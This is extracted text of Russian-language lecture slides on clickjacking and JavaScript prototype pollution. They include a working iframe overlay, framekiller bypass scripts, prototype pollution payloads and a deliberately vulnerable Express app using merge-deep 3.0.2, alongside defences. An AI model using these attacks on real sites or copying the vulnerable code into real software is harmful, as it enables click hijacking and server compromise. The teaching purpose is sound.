Безопасность компьютерных систем
Клиентские уязвимости web-приложений: Clickjacking и Prototype Pollution
Clickjacking
2
3
Как работает Clickjacking
на примере “лайка” в социальной сети
4
5
Изображение с сайта https://portswigger.net/web-security/clickjacking
<style>
#clickjacking {
position: absolute;
left: 172px;
top: 60px; /* Позиция Clickjacking области на экране */
opacity: 0;
width: 120px;
height: 20px; /* Размеры Clickjacking области */
overflow: hidden;
z-index: 100;
}
#clickjacking iframe {
position: relative;
top: -356px;
left: -216px; /* Позиция целевой области клика на сайте жертвы */
}
</style>
<div id="clickjacking">
<iframe src="https://victum.com/page" width="500" height="500" scrolling="no" frameborder="none">
</div>
7
Немного магии JavaScript и Clickjacking становится еще опаснее
8
Изображение с сайта https://www.surefiresearch.com/news/clickjacking-clamp-down/
Через Clickjacking можно перехватывать не только “клики”, но и печать в поля ввода текста
9
Защита?
10
Заголовок:
X-Frame-Options: SAMEORIGIN
или
X-Frame-Options: DENY
Можно развернуть прокси, которое вырежет
заголовки
11
есть заголовок X-Frame-Options: DENY
https://api.allorigins.win/raw?url=https%3A%2F%2Fyandex.ru
нет заголовка X-Frame-Options
Защита
13
Set-Cookie: auth=VALUE; samesite
Пробуем защититься
другими способами
14
15
window
16
window
window
window
PAGE
IFRAME
IFRAME
17
18
Изображение с сайта https://theunlikelydeveloper.com/jest-mock-window-test-iframes/
if (top !== self) {
top.location = self.location;
}
Пример плохой защиты
Framekiller
19
Способ обхода №1
<iframe src="https://victum.com/page" sandbox="allow-scripts allow-forms"></iframe>
20
Способ обхода №2
window.onbeforeunload = () => {
return false;
}
21
Способ обхода №2 (продвинутый)
var kill_bust = false;
window.onbeforeunload = () => { kill_bust = true };
setInterval(() => {
if (kill_bust) {
kill_bust = false;
top.location = 'https://httpbin.org/status/204';
}
}, 1);
22
<style>html { visibility: hidden }</style>
<script>
if (self === top) {
document.documentElement.style.visibility =
'visible';
} else {
top.location = self.location;
}
</script>
“Хорошая” защита
23
Prototype�Pollution
24
25
Прототипное наследование
26
Каждый объект в JavaScript содержит скрытое свойство
[[Prototype]]
27
28
name | |
[[Prototype]] | |
__defineGetter__ | |
__defineSetter__ | |
... | |
toString() | |
[[Prototype]] | |
Object.prototype
obj
null
29
Так делать плохо!
Для проверки принадлежности свойства объекту нужно использовать свойство hasOwnProperty
30
31
Доступ к свойству [[Prototype]] возможен через геттер/сеттер __proto__
32
33
Object()
Object.prototype
constructor: Object
toString: Function
...
.__proto__
.prototype
.constructor
34
35
let o = { foo: "bar" }
o.__proto__.toString = () => alert('polluted')
let prop = {}+''
//сработает alert
36
// key, val - пользовательский ввод
const keys = {};
if (keys[key] === undefined) {
keys[key] = val;
} else if (Array.isArray(keys[key])) {
keys[key].push(val);
} else {
keys[key] = [ keys[key], val ];
}
key = '__proto__'
val = '1'
37
38
const keys = {};
let key = '__proto__';
let val = '1';
if (keys[key] === undefined) {
keys[key] = val;
} else if (Array.isArray(keys[key])) {
keys[key].push(val);
} else {
keys[key] = [ keys[key], val ];
}
keys.__proto__ = [
keys.__proto__,
'1'
]
39
40
[[Prototype]] | |
__defineGetter__ | |
__defineSetter__ | |
... | |
toString() | |
[[Prototype]] | |
Object.prototype
keys
[
, '1' ]
41
keys[0]['isAdmin'] = '1';
let user = {};
if (user.isAdmin) {
// Условие выполнится
}
42
Сценарии потенциально уязвимые к Prototype Pollution
43
В большинстве случаев Prototype pollution может привести к DoS
44
const merge = require('merge-deep'); // npm i merge-deep@3.0.2
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
app.use(bodyParser.json({
type: 'application/json'
}));
app.get('/', function(req, res) {
res.send('ok');
});
app.post('/', function(req, res) {
const options = merge({ param: 'default value' }, req.body);
res.send('ok');
});
app.listen(3000, function() {
console.log('Example app listening on port 3000!')
});
45
merge-deep < 3.0.3
Prototype Pollution
46
{"constructor": {"keys": 1}}
47
48
Prototype pollution может привести к RCE
49
50
Защита
Прототипное наследование
в JavaScript
51
JavaScript prototype pollution: практика поиска и эксплуатации
NodeJS - __proto__ & prototype Pollution
52